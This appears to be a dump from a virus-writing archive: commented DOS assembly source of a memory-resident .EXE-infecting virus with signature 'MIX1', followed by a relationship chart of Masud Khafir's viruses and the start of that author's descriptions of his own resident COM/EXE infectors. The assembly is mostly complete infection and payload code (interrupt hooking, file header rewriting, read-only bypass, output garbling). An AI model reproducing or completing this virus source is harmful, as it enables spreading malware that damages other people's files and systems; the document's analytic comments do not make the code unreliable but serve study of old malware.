|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
MOV CX,652H
|
||||||
|
CLD
|
||||||
|
REP MOVSB
|
||||||
|
;
|
||||||
|
; The virus then transfers control to the new copy of itself.
|
||||||
|
;
|
||||||
|
PUSH ES
|
||||||
|
MOV AX,OFFSET L3
|
||||||
|
PUSH AX
|
||||||
|
RET
|
||||||
|
;
|
||||||
|
; Zero some variables
|
||||||
|
;
|
||||||
|
L3: MOV BYTE PTR CS:[MIN60],0
|
||||||
|
NOP
|
||||||
|
MOV BYTE PTR CS:[MIN50],0
|
||||||
|
NOP
|
||||||
|
MOV WORD PTR CS:[TIMER],0
|
||||||
|
;
|
||||||
|
; The most nutty way to zero ES register that I have ever seen:
|
||||||
|
;
|
||||||
|
MOV BX,0FFFFH
|
||||||
|
ADD BX,3F3FH
|
||||||
|
MOV CL,0AH
|
||||||
|
SHL BX,CL
|
||||||
|
AND BX,CS:[CONST0]
|
||||||
|
MOV AX,BX
|
||||||
|
MOV ES,AX
|
||||||
|
;
|
||||||
|
; Set flag to confirm installation
|
||||||
|
;
|
||||||
|
MOV BYTE PTR ES:[33CH],77H
|
||||||
|
;
|
||||||
|
; Hook interrupt 21:
|
||||||
|
;
|
||||||
|
MOV AX,ES:[0084H]
|
||||||
|
MOV CS:[OLD21],AX
|
||||||
|
MOV AX,ES:[0086H]
|
||||||
|
MOV CS:[OLD21+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[0086H],AX
|
||||||
|
MOV AX,OFFSET NEW21
|
||||||
|
MOV ES:[0084H],AX
|
||||||
|
;
|
||||||
|
; Hook interrupt 17:
|
||||||
|
;
|
||||||
|
MOV AX,ES:[005CH]
|
||||||
|
MOV CS:[OLD17],AX
|
||||||
|
MOV AX,ES:[005EH]
|
||||||
|
MOV CS:[OLD17+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[005EH],AX
|
||||||
|
MOV AX,OFFSET NEW17
|
||||||
|
MOV ES:[005CH],AX
|
||||||
|
;
|
||||||
|
; Hook interrupt 14:
|
||||||
|
;
|
||||||
|
MOV AX,ES:[0050H]
|
||||||
|
MOV CS:[OLD17],AX
|
||||||
|
MOV AX,ES:[0052H]
|
||||||
|
MOV CS:[OLD14+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[0052H],AX
|
||||||
|
MOV AX,OFFSET NEW14
|
||||||
|
MOV ES:[0050H],AX
|
||||||
|
;
|
||||||
|
;
|
||||||
|
;
|
||||||
|
CMP WORD PTR CS:[NOINF],5
|
||||||
|
JG HOOK9
|
||||||
|
JMP EXIT
|
||||||
|
;
|
||||||
|
; Hook interrupt 9
|
||||||
|
;
|
||||||
|
HOOK9: MOV AX,ES:[0024H]
|
||||||
|
MOV CS:[OLD9],AX
|
||||||
|
MOV AX,ES:[0026H]
|
||||||
|
MOV CS:[OLD9+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[0026H],AX
|
||||||
|
MOV AX,OFFSET NEW9
|
||||||
|
MOV ES:[0024H],AX
|
||||||
|
;
|
||||||
|
; Hook interrupt 8
|
||||||
|
;
|
||||||
|
MOV AX,ES:[0020H]
|
||||||
|
MOV CS:[OLD8],AX
|
||||||
|
MOV AX,ES:[0022H]
|
||||||
|
MOV CS:[OLD8+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[0022H],AX
|
||||||
|
MOV AX,OFFSET NEW8
|
||||||
|
MOV ES:[0020H],AX
|
||||||
|
JMP EXIT
|
||||||
|
;
|
||||||
|
; Video processing
|
||||||
|
;
|
||||||
|
ID: PUSH AX
|
||||||
|
PUSH BX
|
||||||
|
PUSH CX
|
||||||
|
PUSH DX
|
||||||
|
PUSH DI
|
||||||
|
PUSH DS
|
||||||
|
PUSH ES
|
||||||
|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
MOV AH,0FH
|
||||||
|
INT 10H
|
||||||
|
MOV AH,6
|
||||||
|
MUL AH
|
||||||
|
MOV BX,AX
|
||||||
|
MOV AX,DS:[BX+OFFSET VIDEOT]
|
||||||
|
MOV CX,DS:[BX+OFFSET VIDEOT+2]
|
||||||
|
MOV DX,DS:[BX+OFFSET VIDEOT+4]
|
||||||
|
MOV ES,DX
|
||||||
|
SHR CX,1
|
||||||
|
MOV DI,1
|
||||||
|
CMP AX,0
|
||||||
|
JNZ V1
|
||||||
|
V0: INC WORD PTR ES:[DI]
|
||||||
|
INC DI
|
||||||
|
INC DI
|
||||||
|
LOOP V0
|
||||||
|
JMP SHORT V2
|
||||||
|
NOP
|
||||||
|
V1: NOT WORD PTR ES:[DI]
|
||||||
|
INC DI
|
||||||
|
INC DI
|
||||||
|
LOOP V1
|
||||||
|
V2: POP ES
|
||||||
|
POP DS
|
||||||
|
POP DI
|
||||||
|
POP DX
|
||||||
|
POP CX
|
||||||
|
POP BX
|
||||||
|
POP AX
|
||||||
|
RET
|
||||||
|
;
|
||||||
|
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
|
||||||
|
; This routine does not become active until 50 minutes after
|
||||||
|
; the execution of an infected program.
|
||||||
|
;
|
||||||
|
NEW9: PUSH AX
|
||||||
|
PUSH ES
|
||||||
|
CMP BYTE PTR CS:[MIN50],1
|
||||||
|
JNZ RETX1
|
||||||
|
XOR AX,AX
|
||||||
|
MOV ES,AX ; was xxxxxxxx
|
||||||
|
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
|
||||||
|
OR BYTE PTR ES:[417H],20H ; x01xxxxx
|
||||||
|
TEST BYTE PTR ES:[417H],0CH
|
||||||
|
JZ RETX1
|
||||||
|
IN AL,60
|
||||||
|
CMP AL,53
|
||||||
|
JNZ RETX1
|
||||||
|
AND BYTE PTR ES:[417H],0F7H
|
||||||
|
;
|
||||||
|
; This seems to be an error - the virus uses a FAR call, which will
|
||||||
|
; probably cause the computer to crash.
|
||||||
|
;
|
||||||
|
DB 9AH
|
||||||
|
DW OFFSET ID,171CH
|
||||||
|
;
|
||||||
|
; This needs more checking.
|
||||||
|
;
|
||||||
|
|
||||||
|
RETX1: POP ES
|
||||||
|
POP AX
|
||||||
|
DB 0EAH
|
||||||
|
OLD9 DW 0,0
|
||||||
|
;
|
||||||
|
; New INT 14 routine - garble all outgoing characters
|
||||||
|
;
|
||||||
|
NEW14: CMP AH,1
|
||||||
|
JZ S1
|
||||||
|
DO14: DB 0EAH
|
||||||
|
OLD14 DW 0,0
|
||||||
|
S1: PUSH BX
|
||||||
|
XOR BX,BX
|
||||||
|
MOV BL,AL
|
||||||
|
ADD BX,OFFSET ERRTAB
|
||||||
|
MOV AL,CS:[BX] ; use old character as index into table
|
||||||
|
POP BX
|
||||||
|
JMP DO14
|
||||||
|
;
|
||||||
|
; New INT 8 routine
|
||||||
|
;
|
||||||
|
NEW8: PUSH DX
|
||||||
|
PUSH CX
|
||||||
|
PUSH BX
|
||||||
|
PUSH AX
|
||||||
|
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
|
||||||
|
JZ TT0 ; No need to check any more
|
||||||
|
INC WORD PTR CS:[TIMER] ; else increment timer
|
||||||
|
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
|
||||||
|
JZ TT1
|
||||||
|
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
|
||||||
|
JZ TT2
|
||||||
|
JMP TXEX
|
||||||
|
;
|
||||||
|
; 50 minutes after an infected program is run the flag is set.
|
||||||
|
;
|
||||||
|
TT2: MOV BYTE PTR CS:[MIN50],1
|
||||||
|
NOP
|
||||||
|
JMP TXEX
|
||||||
|
;
|
||||||
|
; 60 minutes after an infected program is run we start the ball bouncing.
|
||||||
|
;
|
||||||
|
TT1: MOV BYTE PTR CS:[MIN60],1
|
||||||
|
;
|
||||||
|
; Get current cursor position and save it
|
||||||
|
;
|
||||||
|
MOV AH,3
|
||||||
|
MOV BH,0
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[SCRLINE],DH
|
||||||
|
MOV CS:[SCRCOL],DL
|
||||||
|
;
|
||||||
|
; Set cursor position
|
||||||
|
;
|
||||||
|
MOV AH,2
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[MYLINE]
|
||||||
|
MOV DL,CS:[MYCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Check what is there and store it
|
||||||
|
;
|
||||||
|
MOV AH,8
|
||||||
|
MOV BH,0
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[ONSCREEN],AL
|
||||||
|
;
|
||||||
|
; Set cursor position back as it was before
|
||||||
|
;
|
||||||
|
MOV AH,2
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[SCRLINE]
|
||||||
|
MOV DL,CS:[SCRCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Get current video mode and store it
|
||||||
|
;
|
||||||
|
MOV AH,0FH
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[VMODE],AH
|
||||||
|
;
|
||||||
|
; Exit interrupt routine
|
||||||
|
;
|
||||||
|
JMP TXEX
|
||||||
|
;
|
||||||
|
; Every time an INT 8 occurs, after the 60 min. have passed, we
|
||||||
|
; end up here:
|
||||||
|
;
|
||||||
|
; First get current cursor position
|
||||||
|
;
|
||||||
|
TT0: MOV AH,3
|
||||||
|
MOV BH,0
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[SCRLINE],DH
|
||||||
|
MOV CS:[SCRCOL],DL
|
||||||
|
;
|
||||||
|
; Then set it to last position of ball.
|
||||||
|
;
|
||||||
|
MOV AH,2
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[MYLINE]
|
||||||
|
MOV DL,CS:[MYCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Write previous character there ...
|
||||||
|
;
|
||||||
|
MOV AH,0EH
|
||||||
|
MOV AL,CS:[ONSCREEN]
|
||||||
|
MOV BX,0
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
;
|
||||||
|
CMP BYTE PTR CS:[UPDOWN],0
|
||||||
|
JZ T2
|
||||||
|
;
|
||||||
|
;
|
||||||
|
DEC BYTE PTR CS:[MYLINE]
|
||||||
|
JMP SHORT T3
|
||||||
|
NOP
|
||||||
|
T2: INC BYTE PTR CS:[MYLINE]
|
||||||
|
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
|
||||||
|
JZ T4
|
||||||
|
DEC BYTE PTR CS:[MYCOL]
|
||||||
|
JMP SHORT T5
|
||||||
|
NOP
|
||||||
|
T4: INC BYTE PTR CS:[MYCOL]
|
||||||
|
;
|
||||||
|
; Get current video mode
|
||||||
|
;
|
||||||
|
T5: MOV AH,0FH
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[VMODE],AH
|
||||||
|
MOV AL,CS:[MAXLIN]
|
||||||
|
CMP CS:[MYLINE],AL ; bottom of screen ?
|
||||||
|
JNZ T6
|
||||||
|
;
|
||||||
|
; Reached bottom - now go upwards.
|
||||||
|
;
|
||||||
|
NOT BYTE PTR CS:[UPDOWN]
|
||||||
|
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
|
||||||
|
JNZ T7
|
||||||
|
;
|
||||||
|
; Reached top - now go downwards
|
||||||
|
;
|
||||||
|
NOT BYTE PTR CS:[UPDOWN]
|
||||||
|
T7: MOV AL,CS:[VMODE]
|
||||||
|
CMP CS:[MYCOL],AL
|
||||||
|
JNZ T8
|
||||||
|
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||||
|
T8: CMP BYTE PTR CS:[MYCOL],0
|
||||||
|
JNZ T9
|
||||||
|
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||||
|
;
|
||||||
|
; Set cursor position to new position of ball
|
||||||
|
;
|
||||||
|
T9: MOV AH,02
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[MYLINE]
|
||||||
|
MOV DL,CS:[MYCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Get what is there and store it.
|
||||||
|
;
|
||||||
|
MOV AH,8
|
||||||
|
MOV BH,0
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[ONSCREEN],AL
|
||||||
|
;
|
||||||
|
; Write character (lower case o)
|
||||||
|
;
|
||||||
|
MOV AH,0EH
|
||||||
|
MOV AL,6FH
|
||||||
|
MOV BX,0
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; And restore cursor position
|
||||||
|
;
|
||||||
|
MOV AH,02
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[SCRLINE]
|
||||||
|
MOV DL,CS:[SCRCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Restore registers and quit
|
||||||
|
;
|
||||||
|
TXEX: POP AX
|
||||||
|
POP BX
|
||||||
|
POP CX
|
||||||
|
POP DX
|
||||||
|
DB 0EAH
|
||||||
|
OLD8 DW 0,0
|
||||||
|
;
|
||||||
|
; New INT 17 routine. Garble all outgoing characters.
|
||||||
|
;
|
||||||
|
NEW17: CMP AH,0
|
||||||
|
JZ P0
|
||||||
|
DO17: DB 0EAH
|
||||||
|
OLD17 DW 0,0
|
||||||
|
P0: PUSH BX
|
||||||
|
XOR BX,BX
|
||||||
|
MOV BL,AL
|
||||||
|
ADD BX,OFFSET ERRTAB
|
||||||
|
MOV AL,CS:[BX]
|
||||||
|
POP BX
|
||||||
|
JMP DO17
|
||||||
|
;
|
||||||
|
; This is the INT 21 replacement. It only does something in the case
|
||||||
|
; of an EXEC call.
|
||||||
|
;
|
||||||
|
NEW21: CMP AH,4BH
|
||||||
|
JE L5
|
||||||
|
DO21: DB 0EAH
|
||||||
|
OLD21 DW 0,0
|
||||||
|
;
|
||||||
|
; The code to only infect every tenth program has been removed
|
||||||
|
;
|
||||||
|
L5: PUSH AX
|
||||||
|
PUSH BX
|
||||||
|
PUSH CX
|
||||||
|
PUSH DX
|
||||||
|
PUSH SI
|
||||||
|
PUSH DS
|
||||||
|
;
|
||||||
|
; Search for the file name extension ...
|
||||||
|
;
|
||||||
|
MOV BX,DX
|
||||||
|
L6: INC BX
|
||||||
|
CMP BYTE PTR [BX],'.'
|
||||||
|
JE L8
|
||||||
|
CMP BYTE PTR [BX],0
|
||||||
|
JNE L6
|
||||||
|
;
|
||||||
|
; ... and quit unless it starts with "EX".
|
||||||
|
;
|
||||||
|
L7: POP DS
|
||||||
|
POP SI
|
||||||
|
POP DX
|
||||||
|
POP CX
|
||||||
|
POP BX
|
||||||
|
POP AX
|
||||||
|
JMP DO21
|
||||||
|
L8: INC BX
|
||||||
|
CMP WORD PTR [BX],5845H
|
||||||
|
JNE L7
|
||||||
|
;
|
||||||
|
; When an .EXE file is found, the virus starts by turning off
|
||||||
|
; the read-only attribute. The read-only attribute is not restored
|
||||||
|
; when the file has been infected.
|
||||||
|
;
|
||||||
|
MOV AX,4300H ; Get attribute
|
||||||
|
INT 21H
|
||||||
|
JC L7
|
||||||
|
MOV AX,4301H ; Set attribute
|
||||||
|
AND CX,0FEH
|
||||||
|
INT 21H
|
||||||
|
JC L7
|
||||||
|
;
|
||||||
|
; Next, the file is examined to see if it is already infected.
|
||||||
|
; The signature (4418 5F19) is stored in the last two words.
|
||||||
|
;
|
||||||
|
MOV AX,3D02H ; Open / write access
|
||||||
|
INT 21H
|
||||||
|
JC L7
|
||||||
|
MOV BX,AX ; file handle in BX
|
||||||
|
;
|
||||||
|
; This part of the code is new: Get date of file.
|
||||||
|
;
|
||||||
|
MOV AX,5700H
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
MOV CS:[DATE1],DX
|
||||||
|
MOV CS:[DATE2],CX
|
||||||
|
;
|
||||||
|
PUSH CS ; now DS is no longer needed
|
||||||
|
POP DS
|
||||||
|
;
|
||||||
|
; The header of the file is read in at [ID+8]. The virus then
|
||||||
|
; modifies itself, according to the information stored in the
|
||||||
|
; header. (The original CS and IP addressed are stored).
|
||||||
|
;
|
||||||
|
MOV DX,OFFSET ID+8
|
||||||
|
MOV CX,1CH
|
||||||
|
MOV AH,3FH
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
MOV AX,DS:ID[1CH]
|
||||||
|
MOV DS:[ORG_IP],AX
|
||||||
|
MOV AX,DS:ID[1EH]
|
||||||
|
ADD AX,10H
|
||||||
|
MOV DS:[ORG_CS],AX
|
||||||
|
;
|
||||||
|
; Next the read/write pointer is moved to the end of the file-4,
|
||||||
|
; and the last 4 bytes read. They are compared to the signature,
|
||||||
|
; and if equal nothing happens.
|
||||||
|
;
|
||||||
|
MOV AX,4202H
|
||||||
|
MOV CX,-1
|
||||||
|
MOV DX,-4
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
ADD AX,4
|
||||||
|
MOV DS:[LEN_LO],AX
|
||||||
|
JNC L8A
|
||||||
|
INC DX
|
||||||
|
L8A: MOV DS:[LEN_HI],DX
|
||||||
|
;
|
||||||
|
; This part of the virus is new - check if it is below minimum length
|
||||||
|
;
|
||||||
|
CMP DX,0
|
||||||
|
JNE L8B
|
||||||
|
MOV CL,13
|
||||||
|
SHR AX,CL
|
||||||
|
CMP AX,0
|
||||||
|
JG L8B
|
||||||
|
JMP SHORT L9
|
||||||
|
NOP
|
||||||
|
L8B: MOV AH,3FH
|
||||||
|
MOV CX,4
|
||||||
|
MOV DX,OFFSET ID+4
|
||||||
|
INT 21H
|
||||||
|
JNC L11
|
||||||
|
L9: MOV AH,3EH
|
||||||
|
INT 21H
|
||||||
|
L10: JMP L7
|
||||||
|
;
|
||||||
|
; Compare to 4418,5F19
|
||||||
|
;
|
||||||
|
L11: MOV SI,OFFSET ID+4
|
||||||
|
MOV AX,[SI]
|
||||||
|
CMP AX,494DH
|
||||||
|
JNE L12
|
||||||
|
MOV AX,[SI+2]
|
||||||
|
CMP AX,3158H
|
||||||
|
JE L9
|
||||||
|
;
|
||||||
|
; The file is not infected, so the next thing the virus does is
|
||||||
|
; infecting it. First it is padded so the length becomes a multiple
|
||||||
|
; of 16 bytes. Tis is probably done so the virus code can start at a
|
||||||
|
; paragraph boundary.
|
||||||
|
;
|
||||||
|
L12: MOV AX,DS:[LEN_LO]
|
||||||
|
AND AX,0FH
|
||||||
|
JZ L13
|
||||||
|
MOV CX,16
|
||||||
|
SUB CX,AX
|
||||||
|
ADD DS:[LEN_LO],CX
|
||||||
|
JNC L12A
|
||||||
|
INC DS:[LEN_HI]
|
||||||
|
L12A: MOV AH,40H
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
;
|
||||||
|
; Next the main body of the virus is written to the end.
|
||||||
|
;
|
||||||
|
L13: MOV DX,0 ; Was: XOR DX,DX
|
||||||
|
MOV CX,OFFSET ID + 4
|
||||||
|
MOV AH,40H
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
;
|
||||||
|
; Next the .EXE file header is modified:
|
||||||
|
;
|
||||||
|
JMP SHORT F0 ; some unnecessary instructions
|
||||||
|
NOP
|
||||||
|
; First modify initial IP
|
||||||
|
;
|
||||||
|
F0: MOV AX,OFFSET LABEL
|
||||||
|
MOV DS:ID[1CH],AX
|
||||||
|
;
|
||||||
|
; Modify starting CS = Virus CS. It is computed as:
|
||||||
|
;
|
||||||
|
; (Original length of file+padding)/16 - Start of load module
|
||||||
|
;
|
||||||
|
MOV DX,DS:[LEN_HI]
|
||||||
|
MOV AX,DS:[LEN_LO]
|
||||||
|
MOV CL,CS:[CONST1] ; Modified a bit
|
||||||
|
SHR DX,CL
|
||||||
|
RCR AX,CL
|
||||||
|
SHR DX,CL
|
||||||
|
RCR AX,CL
|
||||||
|
SHR DX,CL
|
||||||
|
RCR AX,CL
|
||||||
|
SHR DX,CL
|
||||||
|
RCR AX,CL
|
||||||
|
SUB AX,DS:ID[10H]
|
||||||
|
MOV DS:ID[1EH],AX
|
||||||
|
;
|
||||||
|
; Modify length mod 512
|
||||||
|
;
|
||||||
|
ADD DS:[LEN_LO],OFFSET ID+4
|
||||||
|
JNC L14
|
||||||
|
INC DS:[LEN_HI]
|
||||||
|
L14: MOV AX,DS:[LEN_LO]
|
||||||
|
AND AX,511
|
||||||
|
MOV DS:ID[0AH],AX
|
||||||
|
;
|
||||||
|
; Modify number of blocks used
|
||||||
|
;
|
||||||
|
MOV DX,DS:[LEN_HI]
|
||||||
|
MOV AX,DS:[LEN_LO]
|
||||||
|
ADD AX,511
|
||||||
|
JNC L14A
|
||||||
|
INC DX
|
||||||
|
L14A: MOV AL,AH
|
||||||
|
MOV AH,DL
|
||||||
|
SHR AX,1
|
||||||
|
MOV DS:ID[0CH],AX
|
||||||
|
;
|
||||||
|
; Finally the modified header is written back to the start of the
|
||||||
|
; file.
|
||||||
|
;
|
||||||
|
QQQ: MOV AX,4200H
|
||||||
|
MOV CX,0 ; was XOR CX,CX
|
||||||
|
AND DX,CS:[CONST0] ; was XOR DX,DX
|
||||||
|
INT 21H
|
||||||
|
JC ENDIT
|
||||||
|
MOV AH,40H
|
||||||
|
MOV DX,OFFSET ID+8
|
||||||
|
MOV CX,1CH
|
||||||
|
INT 21H
|
||||||
|
;
|
||||||
|
; This part is new: Restore old date.
|
||||||
|
;
|
||||||
|
MOV DX,CS:[DATE1]
|
||||||
|
MOV CX,CS:[DATE2]
|
||||||
|
MOV AX,5701H
|
||||||
|
INT 21H
|
||||||
|
JC ENDIT
|
||||||
|
INC WORD PTR CS:[NOINF]
|
||||||
|
;
|
||||||
|
; Infection is finished - close the file and execute it
|
||||||
|
;
|
||||||
|
ENDIT: JMP L9
|
||||||
|
;
|
||||||
|
;
|
||||||
|
DW 0
|
||||||
|
|
||||||
|
VIDEOT: DW 0000H, 07D0H, 0B800H
|
||||||
|
DW 0000H, 07D0H, 0B800H
|
||||||
|
DW 0000H, 0FA0H, 0B800H
|
||||||
|
DW 0000H, 0FA0H, 0B800H
|
||||||
|
DW 0001H, 4000H, 0B800H
|
||||||
|
DW 0001H, 4000H, 0B800H
|
||||||
|
DW 0001H, 4000H, 0B800H
|
||||||
|
DW 0000H, 0FA0H, 0B000H
|
||||||
|
DW 0001H, 3E80H, 0B000H
|
||||||
|
DW 0001H, 7D00H, 0B000H
|
||||||
|
DW 0001H, 7D00H, 0B000H
|
||||||
|
DW 0002H, 0000H, 0000H
|
||||||
|
DW 0002H, 0000H, 0000H
|
||||||
|
DW 0001H, 7D00H, 0A000H
|
||||||
|
DW 0001H, 0FA00H, 0A000H
|
||||||
|
DW 0001H, 6D60H, 0A000H
|
||||||
|
DW 0002H, 0000H. 0000H
|
||||||
|
|
||||||
|
DW 0
|
||||||
|
|
||||||
|
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
|
||||||
|
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
|
||||||
|
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
|
||||||
|
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
|
||||||
|
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
|
||||||
|
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
|
||||||
|
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
|
||||||
|
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
|
||||||
|
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
|
||||||
|
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
|
||||||
|
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
|
||||||
|
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
|
||||||
|
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
|
||||||
|
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
|
||||||
|
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
|
||||||
|
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
|
||||||
|
|
||||||
|
CONST1 DB 1 ; Just the constant 1
|
||||||
|
CONST0 DW 0 ; The label says it all
|
||||||
|
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
|
||||||
|
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
|
||||||
|
VMODE DB 0 ; Video mode
|
||||||
|
MAXLIN DB 24
|
||||||
|
MYCOL DB 0 ; Position of ball on screen
|
||||||
|
MYLINE DB 0 ; ditto.
|
||||||
|
ONSCREEN DB ? ; Previous character on the screen
|
||||||
|
UPDOWN DB 0 ; Direction of ball (up or down)
|
||||||
|
LEFTRIGHT DB 0 ; Direction (left or right)
|
||||||
|
SCRCOL DB ?
|
||||||
|
SCRLINE DB ?
|
||||||
|
DATE1 DW ? ; Date of file
|
||||||
|
DATE2 DW ? ; ditto.
|
||||||
|
TIMER DW 0 ; Number of timer (INT 8) ticks
|
||||||
|
LEN_LO DW ?
|
||||||
|
LEN_HI DW ?
|
||||||
|
NOINF DW 0 ; Number of infections
|
||||||
|
ID ABRAX WORD
|
||||||
|
DB "MIX1" ; The signature of the virus.
|
||||||
|
;
|
||||||
|
; A buffer, used for data from the file.
|
||||||
|
;
|
||||||
|
|
||||||
|
VIRUS ENDP
|
||||||
|
CODE ENDS
|
||||||
|
|
||||||
|
END ABRAX
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
|
||||||
|
Virus relationship charts of Masud Khafir's viruses
|
||||||
|
===================================================
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Gotcha F (732)
|
||||||
|
ÃÄÄ Gotcha E (607)
|
||||||
|
ÀÄÄ Gotcha A (879)
|
||||||
|
ÀÄÄ Gotcha B (881)
|
||||||
|
ÀÄÄ Gotcha C (906)
|
||||||
|
ÀÄÄ Gotcha D (627)
|
||||||
|
ÃÄÄ Pogue
|
||||||
|
ÀÄÄ Legalize
|
||||||
|
ÀÄÄ Coffeeshop 1
|
||||||
|
ÃÄÄ Coffeeshop 2
|
||||||
|
ÀÄÄ Coffeeshop 3 (Girafe A)
|
||||||
|
ÀÄÄ Coffeeshop 4 (Girafe B)
|
||||||
|
ÃÄÄ Cruncher 1.0
|
||||||
|
³ ÀÄÄ Cruncher 2.0
|
||||||
|
³ ÀÄÄ Cruncher 2.1
|
||||||
|
ÃÄÄ PlayGame
|
||||||
|
ÀÄÄ Bosnia
|
||||||
|
|
||||||
|
|
||||||
|
Seventh son 350
|
||||||
|
ÀÄÄÄÄ Seventh son 332
|
||||||
|
ÀÄÄÄÄ Seventh son 284
|
||||||
|
ÀÄÄÄÄ DOS-1
|
||||||
|
|
||||||
|
|
||||||
|
Little Brother 299
|
||||||
|
ÃÄÄÄÄ Little Brother 307
|
||||||
|
³ ÃÄÄÄÄ Little Brother 321
|
||||||
|
³ ÀÄÄÄÄ Little Brother 349 (Vote) (*)
|
||||||
|
³ ÀÄÄÄÄ Little Brother 361 (Vote-Erase) (*)
|
||||||
|
ÀÄÄÄÄ Little Brother 300 (*)
|
||||||
|
|
||||||
|
|
||||||
|
Cannabis 1
|
||||||
|
ÀÄÄÄÄ Cannabis 2
|
||||||
|
ÀÄÄÄÄ Cannabis 3
|
||||||
|
ÀÄÄÄÄ Cannabis 4 (*)
|
||||||
|
|
||||||
|
|
||||||
|
Dutch Tiny 126
|
||||||
|
ÃÄÄÄÄ Dutch Tiny 124
|
||||||
|
³ ÀÄÄÄÄ Dutch Tiny 122
|
||||||
|
ÀÄÄÄÄ Dutch Tiny 124B
|
||||||
|
|
||||||
|
|
||||||
|
Dutch Mini 99
|
||||||
|
ÀÄÄÄÄ Dutch Mini 97
|
||||||
|
ÃÄÄÄÄ Dutch Mini 91
|
||||||
|
ÃÄÄÄÄ Dutch Mini 117
|
||||||
|
ÀÄÄÄÄ Dutch Mini 111
|
||||||
|
|
||||||
|
|
||||||
|
46-Virus
|
||||||
|
ÀÄÄÄÄ PCA virus
|
||||||
|
|
||||||
|
|
||||||
|
ANSI-Virus
|
||||||
|
|
||||||
|
Virus_for_Windows 1.4
|
||||||
|
|
||||||
|
MK-Worm
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
(*) Note: The viruses marked with (*) are NOT written by Masud Khafir!
|
||||||
@@ -0,0 +1,450 @@
|
|||||||
|
Gotcha 1
|
||||||
|
|
||||||
|
This was the first virus I wrote. It is a resident COM and EXE infector.
|
||||||
|
It infects programs when they are executed. It hides at the top of
|
||||||
|
conventional memory. When infecting it intercepts INT24, circumvents
|
||||||
|
the read-only attribute and disables Ctrl-Break. It also restores the
|
||||||
|
original file date and time after the infection. Some parts of it were
|
||||||
|
taken from the Yankee Doodle virus, but nevertheless this is an enterly
|
||||||
|
new virus.
|
||||||
|
|
||||||
|
|
||||||
|
Gotcha 4
|
||||||
|
|
||||||
|
This is a resident COM infector. It is a stripped-down variant of
|
||||||
|
